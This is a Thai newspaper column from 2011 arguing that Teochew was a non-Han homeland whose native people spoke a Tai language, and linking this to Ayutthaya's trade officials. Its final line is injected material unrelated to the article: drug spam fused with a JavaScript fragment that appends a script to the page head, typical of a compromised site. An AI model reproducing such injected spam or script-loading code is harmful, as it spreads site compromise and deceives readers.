มติชนรายวัน ฉบับประจำวันอังคารที่ 20 กันยายน 2554

          คนไทยอยู่ที่นี่ ที่อุษาคเนย์ ผมเขียนหลังกลับจากกวางสี แล้วพิมพ์เป็นเล่ม เมื่อ    พ.ศ. 2537

ได้แสดงหลักฐานประวัติศาสตร์โบราณคดี ว่าราว 3,000 ปีมาแล้ว คนพื้นเมืองพวกหนึ่งในกวางสี-กวางตุ้งพูดตระกูลภาษาไทย-ลาว ทำกลองทองมโหระทึก

ต่อมาบอกเพิ่มเติมว่าคนพวกนี้กินข้าวเหนียว ทำบ๊ะจ่างกับขนมเข่งไหว้ผี (เจ้า) ซึ่งจะเกี่ยวข้องกับกลุ่มคนแต้จิ๋วด้วย

แต่ค้นหาหนังสือความรู้เรื่องแต้จิ๋วตรงๆมาอ่านไม่ได้ กระทั่งล่าสุดถึงได้อ่านหนังสือดี แต้จิ๋ว : จีนกลุ่มน้อยที่ยิ่งใหญ่ ของ ถาวร สิกขโกศล

          
 “คนจีนในไทยห้ากลุ่มใหญ่ คือ แต้จิ๋ว ฮกเกี้ยน แคะ ไหหลำ และกวางตุ้งนั้น จีนแต้จิ๋วมีมากที่สุด  

          แต่ในประเทศจีน แต้จิ๋วเป็นจีนกลุ่มน้อย

          แต่ยิ่งใหญ่ด้วยชื่อเสียงที่โด่งดังไปทั่วประเทศจีนและทั่วโลก ไม่เป็นรองจีนอื่นที่มีคนมากกว่า

          คนแต้จิ๋วยิ่งใหญ่ด้วยสติปัญญา ความปราดเปรื่องปรีชา ความรู้ความสามารถ และความละเอียดอ่อนลึกซึ้ง มีภาษาและศิลปวัฒนธรรมของตัวเองโดดเด่นเป็นที่รู้จักกันทั่วไป…”

          ถาวร สิกขโกศล

 

แต้จิ๋วอยู่ทางภาคตะวันออกเฉียงเหนือของมณฑลกวางตุ้ง ทางจีนตอนใต้ ยุคดั้งเดิมดึกดำบรรพ์ ไม่ใช่ดินแดนฮั่น แต่ถูกพวกฮั่นมายึดครองทีหลัง

          “แต้จิ๋ว หมายถึงเมืองที่กระแสน้ำเอ่อท้นกลับไปกลับมาอยู่เสมอ” (หน้า 33)

          “แต้จิ๋ว เป็นถิ่นอุดมสมบูรณ์ แต่ภัยธรรมชาติรุนแรง และเป็นเมืองค่อนข้างปิดทางบก แต่เปิดทางทะเล” (หน้า 34)

แสดงว่าแต้จิ๋วเป็นชื่อดินแดน ทำนองเดียวกับสยามก็เป็นชื่อดินแดน ไม่ใช่ชื่อชนชาติ จึงไม่มีชนชาติสยาม ถ้าจะเรียกคนต้องเรียกชาวสยาม

ถาวรอธิบายต่อไปว่า “ถิ่นแต้จิ๋วมีคนพื้นเมืองอยู่มาแต่ดึกดำบรรพ์ จีนเพิ่งขยายอำนาจเข้ามาได้ในรัชกาลจิ๋นซีฮ่องเต้” (หน้า 25) “พ.ศ. 432 ถิ่นแต้จิ๋วจึงเป็นส่วนหนึ่งของอาณาจักรจีนตั้งแต่นั้นมา” (หน้า 26)

นับแต่นั้นบ๊ะจ่างกับขนมเข่งที่เคยเลี้ยงผีพื้นเมืองก็ปรับใช้ไหว้เจ้าของฮั่นด้วย

          “ภาษาแต้จิ๋วคล้ายกับภาษาไทยมากกว่าภาษาจีนกลาง ทั้งเรื่องเสียง คำศัพท์ที่ใช้ และไวยากรณ์” (หน้า 232)

ถาวรยังอ้างถึงผู้เชี่ยวชาญภาษาแต้จิ๋ว แห่งมหาวิทยาลัยซัวเถา ว่าระบบคำของภาษาแต้จิ๋วมีลักษณะพิเศษ คือรักษาคำดั้งเดิมของภาษาตระกูลไทยโบราณ หรือภาษาเย่ว์ไว้ได้มาก (หน้า 242) คำตระกูลไทยโบราณพวกนี้เป็นคำเก่าแก่ของแต้จิ๋ว ไม่ใช่เพิ่งรับไปจากภาษาไทยยุคหลัง (หน้า 44)

นี่ทำให้คิดถึงหม่าฮวน ในคณะของเจิ้งเหอ เคยบันทึกว่าพวกสยามในอยุธยายุคแรกๆ พูดเหมือนคนกวางตุ้งบ้านนอก ก็ด้วยเหตุอย่างนี้เอง

แล้วชวนให้คิดต่อไปได้อีกว่า “ราชเศรษฐี” เจ้ากรมท่าซ้าย ของพระเจ้าแผ่นดินอยุธยา ดูแลการค้าสำเภากับจีน น่าจะเป็นพวกจ้วง-แต้จิ๋ว จากกวางสี-กวางตุ้ง เพราะพูดได้สองภาษา คือลาว-ไทย กับฮั่น

ท้าวอู่ทองจากเมืองจีน ในพงศาวดารอยุธยาฉบับวัน วลิต ที่ อ. ชาญวิทย์ เกษตรศิริ ยกมาทำวิทยานิพนธ์รับปริญญาเอก (ของมหาวิทยาลัยคอร์แนล สหรัฐ แล้วสำนักพิมพ์ออกซฟอร์ด พิมพ์เป็นเล่มขายทั่วโลก) ก็น่าจะเป็นสัญลักษณ์ของพ่อค้าจากกวางตุ้ง-กวางสีด้วย

แต่อาจารย์ทางโบราณคดีพวกหนึ่งอ่านไม่เข้าใจ และไม่รู้เรื่อง เพราะพื้นฐานวิชาการด้านนี้เขามีไม่พอ เลยพยายามปกปิดข้อบกพร่องตัวเองด้วยการให้ร้ายป้ายสีคนอื่น 

fluoxetine definition buy cialis sublinguald.getElementsByTagName(‘head’)[0].appendChild(s);